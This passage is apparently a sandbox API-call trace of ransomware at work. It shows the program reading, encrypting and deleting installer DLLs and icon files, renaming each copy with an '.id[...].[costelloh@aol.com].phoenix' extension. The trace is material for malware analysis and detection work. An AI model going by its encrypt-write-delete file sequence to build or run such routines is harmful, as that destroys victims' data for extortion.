	[0063.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80
	[0063.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.850] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.850] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.850] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.850] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0063.855] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa588) returned 1
	[0063.855] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.855] ReadFile (in: hFile=0x334, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x3d58, lpOverlapped=0x0) returned 1
	[0063.941] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x3d60) returned 1
	[0063.941] WriteFile (in: hFile=0x32c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x3d60, lpOverlapped=0x0) returned 1
	[0063.943] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa2c8) returned 1
	[0063.943] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.943] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0063.943] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0063.943] WriteFile (in: hFile=0x32c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0063.943] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0063.943] CloseHandle (hObject=0x334) returned 1
	[0063.943] CloseHandle (hObject=0x32c) returned 1
	[0063.944] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1
	[0063.946] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0063.946] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.955] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=19288) returned 1
	[0063.955] CloseHandle (hObject=0x314) returned 1
	[0063.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80
	[0063.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.956] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.956] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.956] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0063.956] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0063.958] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa748) returned 1
	[0063.958] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0063.958] ReadFile (in: hFile=0x314, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4b58, lpOverlapped=0x0) returned 1
	[0064.072] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4b60) returned 1
	[0064.072] WriteFile (in: hFile=0x318, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4b60, lpOverlapped=0x0) returned 1
	[0064.073] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa608) returned 1
	[0064.073] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.073] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0064.073] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.073] WriteFile (in: hFile=0x318, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0064.073] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0064.073] CloseHandle (hObject=0x314) returned 1
	[0064.073] CloseHandle (hObject=0x318) returned 1
	[0064.078] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1
	[0064.079] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0064.079] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.079] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18264) returned 1
	[0064.080] CloseHandle (hObject=0x318) returned 1
	[0064.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80
	[0064.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.080] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.080] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.080] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.080] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0064.208] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa948) returned 1
	[0064.208] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.208] ReadFile (in: hFile=0x318, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4758, lpOverlapped=0x0) returned 1
	[0064.326] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760, dwBufLen=0x4760 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4760) returned 1
	[0064.326] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4760, lpOverlapped=0x0) returned 1
	[0064.328] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa388) returned 1
	[0064.328] CryptSetKeyParam (hKey=0xbaa388, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.328] CryptEncrypt (in: hKey=0xbaa388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0064.328] CryptDestroyKey (hKey=0xbaa388) returned 1
	[0064.328] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0064.328] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0064.328] CloseHandle (hObject=0x318) returned 1
	[0064.328] CloseHandle (hObject=0x330) returned 1
	[0064.354] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1
	[0064.355] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0064.355] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0064.356] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=17752) returned 1
	[0064.356] CloseHandle (hObject=0x330) returned 1
	[0064.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80
	[0064.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.356] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0064.356] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.356] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.357] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.361] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa348) returned 1
	[0064.362] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.362] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4558, lpOverlapped=0x0) returned 1
	[0064.826] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4560, dwBufLen=0x4560 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4560) returned 1
	[0064.827] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4560, lpOverlapped=0x0) returned 1
	[0064.828] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa688) returned 1
	[0064.828] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.828] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0064.828] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0064.828] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0064.828] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0064.828] CloseHandle (hObject=0x330) returned 1
	[0064.828] CloseHandle (hObject=0x338) returned 1
	[0064.833] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1
	[0064.836] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0064.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.836] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=14168) returned 1
	[0064.837] CloseHandle (hObject=0x338) returned 1
	[0064.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80
	[0064.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.837] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.838] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.838] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0064.838] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0064.842] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa3c8) returned 1
	[0064.842] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.842] ReadFile (in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x3758, lpOverlapped=0x0) returned 1
	[0064.900] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x3760, dwBufLen=0x3760 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x3760) returned 1
	[0064.900] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x3760, lpOverlapped=0x0) returned 1
	[0064.901] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa208) returned 1
	[0064.901] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0064.901] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0064.901] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.901] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0064.902] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0064.902] CloseHandle (hObject=0x338) returned 1
	[0064.902] CloseHandle (hObject=0x330) returned 1
	[0066.056] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1
	[0066.057] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.057] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.058] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=1150) returned 1
	[0066.059] CloseHandle (hObject=0x330) returned 1
	[0066.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0066.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.059] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.059] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.059] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.059] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.059] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa608) returned 1
	[0066.059] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.059] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x47e, lpOverlapped=0x0) returned 1
	[0066.123] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x480, dwBufLen=0x480 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x480) returned 1
	[0066.123] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x480, lpOverlapped=0x0) returned 1
	[0066.124] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa908) returned 1
	[0066.124] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.124] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.124] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.124] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.124] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0066.124] CloseHandle (hObject=0x330) returned 1
	[0066.125] CloseHandle (hObject=0x344) returned 1
	[0066.125] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1
	[0066.127] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.127] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
